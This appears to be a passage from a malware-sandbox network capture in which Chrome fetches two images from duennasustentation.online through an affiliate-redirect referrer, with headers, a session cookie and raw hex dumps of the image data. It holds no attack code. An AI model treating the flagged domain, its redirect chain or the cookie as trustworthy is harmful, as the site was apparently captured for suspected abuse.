47 df d0 ee 7c 6c dc de b9 bd a1 dd 69 1b dd 40 81 00 0c 88 60 22 14 75 89 ba 62 fd 84 cb 67 5c bf 60 79 0d 5d 01 09 37 f6 9d ed 01 6f 4c c4 a1 a2 2c a4 8e ec Data Ascii: -1<\%A2Febh2) ,CgyJ'?SssEA\G$eYsKgaGKw,'Cdc IQFp79TY191c?e=@zB6~Df&bPzr2\|HOFx3=zG\|li@`"ubg\`y]7oL,
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 73 f7 c6 c1 a3 66 c6 35 82 e6 d1 bb 77 8f e3 fb 47 a4 34 01 52 84 0c 17 84 47 58 ef 22 e4 28 7c cd 5d 83 93 ba 48 6c 91 d1 1d f9 94 9f 49 b4 49 32 32 0c ee c2 60 21 29 9e ef 1b 5c 4f 6b fb b6 6d f7 fd f1 e8 6d 0f 37 15 46 14 32 54 a4 f7 5e 54 83 cc 15 7f 7e ec a0 7c 86 85 8a b9 48 e8 91 ee 58 2d 9a b9 f4 2e f4 08 b3 6e 86 50 81 a8 a8 4c 90 9a ec 69 3a 73 1c 84 f6 e9 ea 1d d9 9d f0 08 6b bd 8b 8a 68 11 d5 a4 61 83 18 8f 0f 31 5b d4 e0 1e 16 dd dc cc a4 8c 12 dd 42 15 1c d5 73 6e e1 36 ad 9b 5b 66 1c 2d 13 42 54 08 45 67 ec eb dd 2d 5a 40 bd 16 92 2e d9 59 34 ac fd ff 30 2e e4 ef be 00 3e e0 09 9f be 83 1f be f3 e1 b7 44 51 2f 78 fd 89 7f f8 77 fc fc 8f bc 7c c6 fa 09 d7 af d0 85 47 32 97 02 2d 2c 17 50 50 57 78 0f 64 97 05 91 37 28 2b f2 b2 a3 08 80 90 5a Data Ascii: sf5wG4RGX"(\|]HlII22`!)\Okmm7F2T^T~\|HX-.nPLi:skha1[Bsn6[f-BTEg-Z@.Y40.>DQ/xw\|G2-,PPWxd7(+Z
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 4b e0 70 d9 3c 89 50 0b 33 37 8f 0c 2b 1b 45 45 36 e5 de d8 9b 5a 2b d6 aa bd 96 eb 2a 35 11 96 1f 4c c2 5c 53 98 1e 8a 30 99 db 08 b3 74 f1 a6 b1 e5 5c e5 c9 b3 80 ae ea 50 40 fd e9 48 d3 35 1b c4 c5 61 92 40 1c 35 34 47 7e 6c 18 a4 29 31 23 02 28 9d e2 10 03 84 88 74 49 f6 7d df 1f fb fe d8 f7 cd f6 dd c3 85 ec d6 cc 9a 7b 4f e7 6a 29 65 3a e3 c7 e6 3c e9 9a 81 93 11 11 33 e9 11 71 74 ef cf 62 98 c8 20 2d 3c 4a 04 45 1d d1 3d 9a 99 bb 97 6c 99 56 21 65 38 25 ee 04 4d 22 7b 6f 22 a2 87 8d b6 1c cf d0 1b 52 6a 7a 3c 87 3b 4c 64 69 88 bb 45 37 43 44 77 af 81 80 14 88 04 b3 3c 95 31 04 53 72 89 77 77 0b 33 8f cc d3 e1 28 5b 80 77 b3 b6 ef ad 35 15 16 d7 7d a1 15 7b 02 80 ff 99 d7 ef b9 d3 0f 5f 4c 96 ec 6f c6 9a e7 bb 40 0d 59 50 5f 70 f9 c9 2f 3f 79 59 13 Data Ascii: Kp<P37+EE6Z+*5L\S0t\P@H5a@54G~l)1#(tI}{Oj)e:<3qtb -<JE=lV!e8%M"{o"Rjz<;LdiE7CDw<1Srww3([w5}{_Lo@YP_p/?yY
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 49 24 ae 25 f7 e6 3c b2 c6 47 a1 69 76 63 1e 00 19 f0 80 23 ab 19 c2 47 86 02 b3 b4 89 84 a8 a0 10 6a f0 9d fd ae ad 2c a6 25 42 a0 13 b3 c7 52 c0 a0 ea 87 bd 1a 1f 0c 20 cc d9 3b cc e0 00 04 aa a1 0b ca 12 5a 5d 4a 96 ff 65 e7 07 47 9d b2 1f 1c d2 5c 6e c7 b2 9b 24 c1 21 1d f2 e4 af 73 9e 08 11 08 0e 32 28 38 04 32 c3 7b eb 96 e2 4e bd f5 de dc 5a ba a8 70 84 9b 10 7d 6d 31 0a cd 25 34 d9 96 cc 76 32 d1 31 e3 f9 79 a7 e3 a9 7f 9f 07 a6 46 32 18 14 20 3c cf c5 31 2b 09 06 93 93 e9 d2 49 17 a5 dd 19 14 86 27 fb 94 97 92 f0 6f 6e 34 b2 0b 52 74 4a 09 c1 60 8e 4d e1 99 71 8e 08 0b a7 79 37 17 0b 48 58 44 86 b1 04 a9 83 2a 38 0a f3 21 d9 96 00 0b 73 73 b3 1e 61 83 44 89 68 3d 76 61 93 ee 65 ea 09 8d fd 3e 12 42 cf b6 e0 6f 33 b0 ff 4b 2f 72 3e 5c 1e 4f 73 78 Data Ascii: I$%<Givc#Gj,%BR ;Z]JeG\n$!s2(82{NZp}m1%4v21yF2 <1+I'on4RtJ`Mqy7HXD*8!ssaDh=vae>Bo3K/r>\Osx
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 53 bf 33 d5 7d cd bc f5 ee e6 a2 65 5d 2f 2f 2f af 97 eb 55 54 53 7e bd bc 5e d7 a5 48 2d 7a 59 d7 f4 02 84 58 ab ac 4b 59 17 ad 25 0d 6b 66 40 95 a2 80 38 24 20 21 55 33 e5 8a ea a6 bd d5 bd ed 8f 66 8f dd 1f 2d 5a 1f 35 3d 93 c1 1e 20 ab a5 2c cb 7a b9 5c b4 54 8b d2 8d 3d 6b 79 70 b8 ad 14 41 c6 d4 9c 95 48 e4 e0 8c 26 58 72 f2 6a 33 75 37 68 a0 bc 71 67 96 30 7f 2b 13 a1 ca 50 c1 a2 b6 d6 be 2e ac 85 2a fc 60 0d f2 b0 47 00 7f a4 07 ba 75 7f b4 ed 7b 7f fb 1e db 1e ee 2e d5 96 17 bf 7c b5 eb 4f b6 7e f1 7a 09 ad a2 2a 9e ea 42 03 20 79 58 bc 8f 01 cb 3c ff 23 54 44 0c dd f3 19 5b 4e 51 d3 88 6c 05 1c 77 20 a6 c2 aa e5 fe 6b 7b 58 27 21 53 18 76 78 0a 40 d6 3d 73 b6 8b a5 04 45 62 e4 68 9b 19 b9 0c 90 0c 37 95 94 1f 58 6a 5d 4a 29 5e 8b 08 66 4f f0 e8 Data Ascii: S3}e]///UTS~^H-zYXKY%kf@8$ !U3f-Z5= ,z\T=kypAH&Xrj3u7hqg0+P.`Gu{.\|O~zB yX<#TD[NQlw k{X'!Svx@=sEbh7Xj]J)^fO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49761	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:38 UTC	422	OUT	GET /images/logo.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:39 UTC	1047	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:39 GMT Content-Type: image/png Content-Length: 46866 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2948-b712" expires: Wed, 08 Jan 2025 14:44:38 GMT last-modified: Tue, 07 Jan 2025 13:16:56 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kzehX2SfeGwXkO4M9wN%2FjNfwsd4jzweIiAmFF0ksgc3nvOAESJ8wt76iepS8qJADHz1TscC%2FPJ2OKLrAAAuW7DH9zFfolRwdH45RodxomaMmrjBY%2BMnwVpfYld8Rw5c4NT9TszoI0I0O3R0Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf77cfb2e42db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1729&rtt_var=656&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1000&delivery_rate=1660034&cwnd=215&unsent_bytes=0&cid=728bab3775d8411c&ts=940&x=0"
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 00 ff 08 06 00 00 00 10 5e 0b 80 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDR^pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 39 38 31 62 38 33 62 66 2d 63 66 30 62 2d 30 63 34 64 2d 62 66 33 66 2d 61 64 63 66 33 37 34 65 62 63 36 36 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 Data Ascii: MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" stEvt:when="2021-09-15T22:51:09+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceI
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 65 20 99 e5 f8 a7 ff 05 33 fc a4 b6 0f 57 d8 17 ff 87 d7 10 5f 7f 0e e1 94 d7 90 3e 20 19 40 d0 78 be 8e 98 2b 3a 5d 20 49 81 06 d0 78 75 6b 7b b4 27 35 ed 70 38 3e 45 dc d7 a8 c3 b1 0f 21 99 3d 20 37 15 fc 1a f0 9d 1d c2 b1 0f 10 25 5c c1 80 2e b4 98 92 5e c4 2e bd 19 19 f9 d5 76 0f 25 bd c7 12 bb fc 01 82 bf 9c 41 38 e5 39 a4 1f 90 6d a2 6a bc 6d 70 54 ec 11 54 a1 41 21 3b af b5 3d da 5a 07 d9 e1 70 7c ca 38 11 ec 70 ec 4b 84 61 e4 7d b4 b8 fc 92 a3 fb d3 24 03 ac 73 2c 92 d7 8f d8 b9 57 77 48 00 27 91 bc 5e f8 bf bd 19 50 c2 c9 cf 63 fa 5b 48 33 7b af 2d 85 12 fd 2e 86 ad 6a dd bd 25 cf 1d 0e c7 6e 70 22 d8 e1 70 38 1c 5d 8f 12 7d c3 78 60 17 d8 c8 ce 70 fe 0d c8 d8 2f 77 7a 68 29 e8 83 ff db 9b 00 c5 4e fb 0f d2 67 2f 0b 61 87 c3 b1 4f e2 9e a7 3a 1c Data Ascii: e 3W_> @x+:] Ixuk{'5p8>E!= 7%\.^.v%A89mjmpTTA!;=Zp\|8pKa}$s,WwH'^Pc[H3{-.j%np"p8]}x`p/wzh)Ng/aO:
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 6d 7f 43 89 e6 ee 03 2b 2c 64 96 13 bb ec 61 64 e8 f1 ed 1e ca 1c f7 63 62 e7 fe 01 28 44 d7 59 f0 b4 6d d7 d5 02 29 06 49 05 3e fa 18 36 ad d8 79 1f 3f 07 ff ec 3b f1 be f4 1d 74 75 42 08 7b ed 0e d1 e1 70 7c 06 71 22 d8 e1 70 38 9a 63 88 44 5a 8d 85 fa cf e0 63 76 25 12 92 1e e8 2a 0b 19 15 a4 5c fe 10 32 bc fd 02 38 89 39 ee 74 62 bf ba 12 6c 09 ac 51 30 6d 14 c2 02 9a 0e 76 ee 3b 84 53 fe 46 8b a6 e2 94 1c fc 73 ee c7 1c f7 1d 74 99 89 de 37 27 84 1d 0e c7 6e f8 ac fd 69 77 38 1c 8e d6 49 8a 3f 51 d8 64 41 0a a1 ce 47 6b 2c a4 f0 d9 28 c1 b5 5d 00 2b ba d0 22 29 bd f0 7f 77 0f 0c 39 ae d3 43 9b e3 7e 46 ec 37 57 43 bc 08 5d a9 6d 13 aa 21 48 ba a0 61 3d e1 f3 f7 c1 da 59 ad ec e8 13 3b ef 0e bc 93 be 85 2e 27 7a cf 9c 35 c2 e1 70 ec 02 27 82 1d 0e 87 Data Ascii: mC+,dadcb(DYm)I>6y?;tuB{p\|q"p8cDZcv%*\289tblQ0mv;SFst7'niw8I?QdAGk,(]+")w9C~F7WC]m!Ha=Y;.'z5p'
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 00 92 d9 cf 72 a4 7f 2e 76 f2 2c 82 ab cf c4 3b 7d 05 62 b2 09 1f bf 1d 3b f7 3d a0 7a 7b d9 34 94 48 e8 2e 7e 9f 70 ea b3 84 7d 6f c7 3b f6 4b 68 55 88 7d f1 2e a4 88 48 28 ef 2b 99 41 01 42 45 b6 81 1c 39 1e ef e8 1f ec ed 88 9a 21 98 23 bf 87 7f 09 c4 af 38 15 9d 5f 8b 0c 8c 84 aa d6 83 c9 cd 85 92 de 1d 1f 3e a7 84 d8 69 7f 46 08 09 9f fe 1b da 5f 91 6c 03 0d 44 3e e0 2d 8a e9 59 81 39 e4 73 db 05 30 80 14 f7 23 76 ee 5d c4 53 cf c2 be fe 74 24 84 63 4e 08 3b 1c fb 32 4e 04 3b 1c 8e fd 9b ed 25 c0 a2 2e 68 e4 55 12 fb e5 dd 50 d6 8f a0 e1 87 d8 37 a6 10 dc 7e 21 82 07 b5 1b 90 3c 20 55 22 1b 44 32 bb 6b 80 b8 45 17 6e 46 57 bd 8b 5d 30 13 c9 32 88 57 07 99 06 c2 bd 38 bf f6 22 40 03 68 08 5e 79 05 a4 b4 c3 5b fb 29 62 8e fc 2e b1 0b 03 1a fe 74 2a ba Data Ascii: r.v,;}b;=z{4H.~p}o;KhU}.H(+ABE9!#8_>iF_lD>-Y9s0#v]St$cN;2N;%.hUP7~!< U"D2kEnFW]02W8"@h^y[)b.t*
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 0a e1 d1 98 de fd b0 6f bc 06 9b 6b 90 5c 83 a4 83 64 2b 92 2e 89 f7 25 b1 a8 d1 08 92 26 48 01 88 df 80 7e 32 8b f0 d5 c7 60 cd 47 48 4e 3e 48 88 9d f8 10 c1 bd 97 42 b0 15 29 36 51 f6 5f 89 16 46 d6 29 ac 5f 8f 77 d8 97 91 bc d2 d6 e3 4a cf c2 8c fb 02 22 21 d2 ff 20 c4 8f 35 df c3 89 60 87 a3 9b e2 16 c6 39 1c 8e fd 8b 84 f8 43 ca f1 2f bc 13 19 f3 35 76 ee c1 db 0a 99 15 c4 2e 7a 10 33 6a 5c b4 90 4e 34 32 8d c5 41 f2 c0 7e 32 1b 9d 3d b1 71 7f 31 78 c7 ff 08 ff 9c 6b d0 9a 34 74 85 8d 5a f2 36 3d 5d 72 c1 94 d1 36 87 d1 69 7c 60 b9 85 94 52 62 97 3e 84 0c 3a 7a c7 9b 00 49 41 46 1c 03 79 05 b0 2d 11 a3 a5 e5 c5 5d 0d 82 94 1b 54 ab 89 5f f1 03 f4 c3 ff b6 b2 e3 a7 80 08 e6 f0 6f 13 bb f0 3a d0 82 c4 fb 4c 63 fc cd b1 44 a5 cf 52 0d d2 47 90 cc 1a c2 Data Ascii: ok\d+.%&H~2`GHN>HB)6Q_F)_wJ"! 5`9C/5v.z3j\N42A~2=q1xk4tZ6=]r6i\|`Rb>:zIAFy-]T_o:LcDRG
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: cb b1 53 26 a3 5b ab 90 bc c4 f5 4c 66 cb db 8b 21 ea 08 98 e2 e3 1d fb 63 24 77 17 65 d2 76 8d 13 c1 0e 47 37 c5 89 60 87 a3 fb 32 a1 f9 06 27 82 89 c4 49 0c ec 7c 45 72 fa 10 3b e7 46 cc 11 df 04 49 45 ca 07 61 5f bd 19 3b 7b 0d 54 80 e9 2d 48 4d 1c fb e6 ab 48 71 19 a6 df d8 8e 9f 37 25 07 ef 80 f1 b0 f9 6d ec b4 65 50 b3 06 32 83 28 23 5d 57 87 ce 99 85 7d ff 69 74 ed 32 ec fb 2f 62 a7 3f 86 a4 d5 41 1a b0 ac 0a 33 f6 70 a4 62 c4 f6 1a bb 92 57 8e 19 3e 0e fb f1 9b e8 a2 35 48 21 d1 6b 6d f1 aa 7a d1 8f ce b5 48 d1 20 62 97 dc 8c 19 d6 4a 15 88 16 90 cc 7c cc e0 31 d8 59 53 b1 73 d6 20 05 44 35 82 db 9d 8d 96 48 c0 6f ac 85 77 26 63 fa 0f 8e ea 08 ef 25 a4 f7 48 a4 57 09 3a 6d 12 5a 55 1d 09 e1 8e ae dd 33 40 8d 46 2d 92 4f 3c 0d c9 2e ea 68 58 4e 04 Data Ascii: S&[Lf!c$wevG7`2'I\|Er;FIEa_;{T-HMHq7%meP2(#]W}it2/b?A3pbW>5H!kmzH bJ\|1YSs D5How&c%HW:mZU3@F-O<.hXN
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 4a f0 97 5f 61 df 7e 7a cf 04 dc d6 b0 0e fd 36 29 17 dd 86 90 11 09 e1 a4 35 a2 25 21 ec 83 d6 29 6c 06 6f fc ff 22 25 03 76 3b 7e 78 db 2f 08 1e fd 2b f8 b1 2e 8e dc e1 70 ec 49 9c 08 76 38 1c dd 8b a6 75 80 67 2b 26 bf 37 b1 0b 6f c5 1c f4 3f ed 1a 46 46 1e 4f ec e2 bb 90 b2 be d1 02 b6 f4 44 66 33 04 02 30 95 06 cd d8 48 70 c3 c5 d8 97 3b 59 35 a2 64 28 fe f9 f7 e0 1d 71 22 7c d2 c4 1a 61 14 5d 0b 54 16 22 83 0e 05 69 e2 31 b0 75 04 7f fc 11 c1 cb 8f 46 02 38 b9 90 ae e9 35 30 8a 9d a7 98 f2 c1 a4 fc fe 1e 64 e4 49 9d 8b b3 0d 48 af 11 c4 2e 7d 00 e9 3f 2c 5a 2c 27 b6 7d 5e da a4 10 56 c1 f4 13 34 be 8a e0 4f 67 61 df 7e 76 0f 45 dc c6 b0 8e f8 2e fe c5 b7 23 b1 f4 68 71 65 46 2b d6 08 0f 58 a3 48 51 2e e6 c8 ff 85 94 f4 5d 8c aa 84 77 9e 49 fc 81 7b Data Ascii: J_a~z6)5%!)lo"%v;~x/+.pIv8ug+&7o?FFODf30Hp;Y5d(q"\|a]T"i1uF850dIH.}?,Z,'}^V4Oga~vE.#hqeF+XHQ.]wI{
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 53 d0 d5 1b 91 7c 69 6c 68 91 14 c2 da 80 be fe 12 52 51 81 e9 3d aa e3 42 38 35 17 e9 3f 04 fb de ab c8 b6 d5 90 ab 60 76 23 80 49 c4 92 2a 10 b7 b0 66 2b 66 d4 c1 48 5e 79 c7 62 e8 22 24 23 1f 73 d0 51 e8 bb af 61 17 ac 45 0a a5 63 16 75 1b 09 61 b6 d5 a3 53 5f c6 0c 1b 85 14 0f d8 7b 42 b8 62 08 a6 6f 2f ec 94 97 d1 cd 75 48 89 41 b2 43 f4 ed b9 b0 7e 1e 32 6a 3c 92 9e 45 70 ef 79 84 7f bb 13 e9 59 1f 65 ea 03 1a 33 e2 4e 04 3b 1c fb 24 ce 0e e1 70 38 f6 1e 06 74 a5 45 32 2b 88 5d 76 3f 66 cc e7 a3 32 53 36 04 2f 44 4a 42 28 0a 21 db 20 c3 04 bb 71 09 0d bf fb 26 3a eb 35 3a bc 48 50 04 33 fc 18 fc 4b 6e 83 fc fe 51 27 b1 e4 62 39 88 16 cb 15 1b 28 6c 20 b8 ea 54 ec a4 47 a3 78 3a 42 7c 1b e1 63 b7 a2 eb 16 42 1e bb cf 00 37 c5 82 e4 0a 76 e5 c7 84 2f Data Ascii: S\|ilhRQ=B85?`v#I*f+fH^yb"$#sQaEcuaS_{Bbo/uHAC~2j<EpyYe3N;$p8tE2+]v?f2S6/DJB(! q&:5:HP3KnQ'b9(l TGx:B\|cB7v/
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 4b 7b 09 40 2a 04 a8 21 f8 cb 19 d8 19 cf 74 75 a4 ad 53 bb 91 e0 a1 df 11 3e 72 33 94 02 39 ad 34 33 71 38 1c fb 0d 4e 04 3b 1c 8e 3d c3 f6 0c b0 a2 4b 15 c9 ae 24 36 e1 4e 64 c4 f1 ed 1e ca fb e2 59 c4 7e fd 27 08 f3 d1 35 ba a3 10 b6 8a 94 82 5d b4 01 7d ff 95 4e 87 6d 86 1c 83 7f e9 cd 90 9f b0 46 48 a2 7c 9a 55 74 2d 98 91 03 31 47 9f dc 38 cd 4d 2b 08 6e fa 25 e1 d3 8f 42 7f 41 32 25 12 c0 49 db 8a 10 8d 61 e8 9c 95 45 05 0a c1 4e 7d 99 f0 ad 7f 81 36 53 68 7b b9 84 9a 94 8f 24 76 e9 03 78 a3 0f 8d aa 6d 04 b6 fd 42 58 01 2b 48 a5 a0 e1 7a e2 7f f8 69 54 35 62 4f 53 bb 91 e0 fe 0b 09 1e ba 01 2a 41 8a 0c c4 3b 58 07 d9 e1 70 ec 33 38 11 ec 70 38 f6 0c 89 2a 10 ba 52 91 dc 3e c4 2e be 05 19 de bc 0a 44 db 31 9f 3f 15 ff 17 57 21 f1 6c 74 55 42 54 c6 Data Ascii: K{@!tuS>r3943q8N;=K$6NdY~'5]}NmFH\|Ut-1G8M+n%BA2%IaEN}6Sh{$vxmBX+HziT5bOSA;Xp38p8*R>.D1?W!ltUBT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49772	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	814	OUT	GET /images/1.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:40 UTC	1050	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: image/jpeg Content-Length: 43861 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294e-ab55" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:17:02 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BamIrPrs%2Fy0%2BIOn2Wt2FCkLdicefk96qvvZYa28YcQnLJgGPTGIWFMBZPERwLXHAZEj4jSrPvL2n5yyNPkc79iUHfEGn2xMGcoayy1gekWbpBduleD561PmpH3Cb7dE%2F0AQbICcRlOxrSgAG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7839edb42d1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1721&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1392&delivery_rate=1682997&cwnd=199&unsent_bytes=0&cid=df349c4a98ab984c&ts=907&x=0"
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: ff d8 ff e1 16 cb 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 d9 00 00 01 01 00 03 00 00 00 01 02 da 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 39 3a 32 30 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:19:200
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 90 7f ce 5c c5 8c da 5c 57 53 f5 d0 0f 5f 17 fa 87 f2 ae 69 e2 09 94 d2 bc 6c d6 ed b7 cb 84 94 8b 3f 48 3c 3c 12 49 4f ff d0 eb 31 4f 56 e8 f8 46 e0 45 d4 81 ea 3e a2 38 fd ed b6 2c 1e b5 d7 b2 3a c3 d8 1e df 4e aa a7 6d 63 c4 fe 73 97 4d f5 9b 2d 98 9d 34 62 e3 b8 1b 2e 05 80 4c 90 d8 f7 bd 71 74 54 64 88 55 72 1e 1f 40 26 ab 50 d9 c4 38 ae 44 6b dd d2 e8 1d 02 ce a7 63 ac f6 b6 8a 88 0e 2e ee 7f 75 ab b5 c1 e9 78 78 f8 ed ac 54 d9 88 71 21 73 5f 56 b3 46 03 ec 6d d2 2b b6 3e 44 78 ae 88 75 9c 50 00 33 b8 98 d0 48 4e c5 2c 60 59 20 4b ad ac cb c4 4d 0d 42 6a 36 7a 8e 6b 5c 3d a6 03 67 80 15 9d 40 f1 2b 06 fb 31 ef cb 39 35 38 b6 cc 71 ed 24 c4 f7 dc e6 ab 98 5d 51 b6 0d d7 38 09 81 ce 8a 51 30 c7 45 7b b3 99 8b 55 d9 19 80 91 5c b8 ed 13 0d ec d5 77 16 Data Ascii: \\WS_il?H<<IO1OVFE>8,:NmcsM-4b.LqtTdUr@&P8Dkc.uxxTq!s_VFm+>DxuP3HN,`Y KMBj6zk\=g@+1958q$]Q8Q0E{U\w
